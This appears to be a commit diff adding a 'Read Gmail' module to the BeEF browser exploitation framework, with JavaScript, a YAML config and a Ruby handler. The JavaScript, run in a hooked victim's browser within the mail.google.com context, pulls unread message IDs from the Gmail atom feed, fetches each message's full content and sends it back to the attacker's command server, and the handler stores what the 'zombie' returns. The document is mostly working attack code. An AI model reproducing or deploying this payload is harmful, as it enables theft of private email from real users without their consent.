added module to pull email messages content from gmails atom feed, useful if running the in context of mail.google.com
This commit is contained in:
46
modules/misc/read_gmail/command.js
Normal file
46
modules/misc/read_gmail/command.js
Normal file
@@ -0,0 +1,46 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
beef.execute(function() {
|
||||
var result;
|
||||
|
||||
try {
|
||||
x = new XMLHttpRequest();
|
||||
x.open('get', 'https://mail.google.com/mail/feed/atom', false);
|
||||
x.send();
|
||||
|
||||
str = x.responseText; var re = /message_id=([A-Z,a-z,0-9]*)/g;
|
||||
var match;
|
||||
while(match = re.exec(str)) {
|
||||
console.log(match[1])
|
||||
x = new XMLHttpRequest();
|
||||
x.open('get', 'https://mail.google.com/mail/u/0/h/?&v=om&th='+match[1]+'&f=1&f=1', false);
|
||||
x.send();
|
||||
result += x.responseText;
|
||||
}
|
||||
|
||||
} catch(e) {
|
||||
for(var n in e)
|
||||
result+= n + " " + e[n] + "\n";
|
||||
}
|
||||
console.log('sending');
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);
|
||||
});
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
25
modules/misc/read_gmail/config.yaml
Normal file
25
modules/misc/read_gmail/config.yaml
Normal file
@@ -0,0 +1,25 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
read_gmail:
|
||||
enable: true
|
||||
category: "Misc"
|
||||
name: "Read Gmail"
|
||||
description: "If we are able to run in the context of mail.google.com (either by SOP bypass or other issue) then lets go read some email, grabs unread message ids from gmails atom feed, then grabs conent of each message"
|
||||
authors: ["mh"]
|
||||
target:
|
||||
user_notify: ['ALL']
|
||||
26
modules/misc/read_gmail/module.rb
Normal file
26
modules/misc/read_gmail/module.rb
Normal file
@@ -0,0 +1,26 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
class Read_gmail < BeEF::Core::Command
|
||||
|
||||
#
|
||||
# This method is being called when a zombie sends some
|
||||
# data back to the framework.
|
||||
#
|
||||
def post_execute
|
||||
save({'result' => @datastore['result']})
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user